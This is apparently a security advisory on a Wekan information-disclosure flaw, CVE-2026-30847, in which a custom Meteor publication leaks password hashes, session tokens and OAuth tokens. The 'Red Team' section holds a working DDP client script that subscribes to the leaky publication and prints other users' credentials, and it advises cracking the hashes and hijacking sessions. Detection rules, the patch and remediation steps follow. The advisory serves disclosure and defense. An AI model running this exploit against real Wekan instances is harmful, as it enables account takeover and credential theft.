CVE-2026-30847

Executive Summary

CVE-2026-30847 is a critical information disclosure vulnerability in Wekan, an open-source kanban tool built with Meteor. The flaw resides in the notificationUsers publication, which, in versions 8.31.0 through 8.33, returns complete user documents without any field filtering. This exposes highly sensitive data, including bcrypt password hashes, active session login tokens, email verification tokens, full email addresses, and stored OAuth tokens. Unlike Meteor's default auto-publication, which strips the services field for security, this custom publication returns all fields from the cursor. Any authenticated user can trigger this publication to harvest credentials and session tokens for other users, enabling password cracking, session hijacking, and full account takeover. The vulnerability has been fixed in version 8.34.

Supply Chain & Package Security

Wekan is a Meteor-based application. The vulnerability is not in a direct package dependency but in the application's custom publication logic. However, the exposure of OAuth tokens and session data could compromise the security of any integrated authentication providers (e.g., Google, GitHub, GitLab). Users should ensure that any OAuth tokens exposed are revoked and re-issued after applying the patch.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs only an authenticated user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Complete user documents, including password hashes and tokens, are exposed.
• Integrity (I): High (H) – An attacker can use exposed tokens to modify data or perform actions as other users.
• Availability (A): High (H) – An attacker could lock out users or disrupt service by hijacking sessions.

Threat Level: Critical. The exposure of bcrypt hashes and active session tokens allows for immediate password cracking and session hijacking, leading to full account takeover.

Deep Dive & Mechanics

The vulnerability is in the notificationUsers publication in Wekan. In Meteor, publications define what data is sent to clients. The default Meteor.users publication automatically strips the services field (which contains password hashes, tokens, etc.) for security. However, custom publications like notificationUsers do not apply this filtering unless explicitly coded.

The vulnerable code likely looks like this:

Meteor.publish('notificationUsers', function() {
  // No field filtering applied
  return Meteor.users.find({});
});

This returns all fields for all users, including:

• services.password.bcrypt – bcrypt password hash
• services.resume.loginTokens – active session tokens
• services.email.verificationTokens – email verification tokens
• emails[].address – full email addresses
• services.google, services.github, etc. – OAuth tokens

An authenticated user can subscribe to this publication via the client-side DDP connection, receiving the full user documents. The attacker can then extract these fields and use them for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (versions 8.31.0 - 8.33):

Meteor.publish('notificationUsers', function() {
  // No field filtering - exposes all user data
  return Meteor.users.find({});
});

Patched Code (version 8.34):

Meteor.publish('notificationUsers', function() {
  // Only return non-sensitive fields
  return Meteor.users.find({}, {
    fields: {
      _id: 1,
      username: 1,
      'profile.name': 1,
      'profile.avatar': 1
    }
  });
});

The patch explicitly limits the fields returned to only those necessary for notifications, excluding all sensitive data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• An authenticated user account on a vulnerable Wekan instance (version 8.31.0 - 8.33).
• Access to the Meteor DDP endpoint (typically /websocket).

Exploitation Steps:

1. Connect to the Meteor DDP endpoint:

   const DDP = require('ddp-client');
   const client = new DDP({
     host: 'target-wekan.com',
     port: 443,
     ssl: true,
     path: '/websocket'
   });
   

2. Authenticate with a valid user account:

   client.connect((err) => {
     if (err) throw err;
     client.call('login', [{ user: { username: 'attacker' }, password: 'password123' }], (err, result) => {
       if (err) throw err;
       console.log('Logged in');
     });
   });
   

3. Subscribe to the notificationUsers publication:

   client.subscribe('notificationUsers', [], () => {
     // Access the collection
     const users = client.collections['users'];
     users.find({}).forEach(user => {
       console.log('User:', user.username);
       console.log('Password Hash:', user.services?.password?.bcrypt);
       console.log('Login Tokens:', user.services?.resume?.loginTokens);
       console.log('OAuth Tokens:', user.services?.google?.accessToken);
     });
   });
   

4. Extract and crack password hashes:

   • Use tools like hashcat or john to crack the bcrypt hashes.
   • Use exposed session tokens to hijack active sessions.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual DDP subscriptions to notificationUsers from non-admin users.
• Alert on any client-side access to services fields in the users collection.
• Use the detection rules provided in the Detection Engineering section.

Defense:

• Immediately upgrade to Wekan version 8.34 or later.
• If upgrade is not possible, manually patch the publication to restrict fields.
• Revoke all existing session tokens and force password resets for all users.
• Rotate any OAuth tokens that may have been exposed.

Indicators of Compromise (IOCs)

• Network: DDP messages containing notificationUsers subscription requests from authenticated users.
• Logs: Unusual access to user documents with services fields in Meteor logs.
• File: Modified user documents in MongoDB with evidence of token extraction.
• Behavior: Multiple failed login attempts followed by successful session hijacking.

Detection Engineering

YARA Rule

rule CVE_2026_30847_Wekan_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2026-30847 in Wekan"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-30847"
    strings:
        $s1 = "notificationUsers" ascii wide nocase
        $s2 = "services.password.bcrypt" ascii wide nocase
        $s3 = "services.resume.loginTokens" ascii wide nocase
        $s4 = "services.email.verificationTokens" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2026-30847 Wekan Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-30847 via DDP subscription to notificationUsers
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: wekan
detection:
    selection:
        EventID: "ddp_subscription"
        SubscriptionName: "notificationUsers"
    condition: selection
falsepositives:
    - Legitimate use by admin users for debugging
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2026-30847 Wekan Information Disclosure"; flow:to_server,established; content:"notificationUsers"; nocase; content:"subscribe"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wekan to version 8.34 or later.
2. Revoke all active sessions and force password resets for all users.
3. Rotate any OAuth tokens that may have been exposed.
4. Audit logs for any signs of exploitation.

Long-term Mitigations:

• Implement field-level filtering in all custom Meteor publications.
• Use Meteor's check package to validate subscription parameters.
• Regularly audit custom publications for sensitive data exposure.
• Monitor for unusual DDP subscriptions.

Workaround (if upgrade is not possible):

• Manually edit the publication code to restrict fields as shown in the patched code example.

Valters IT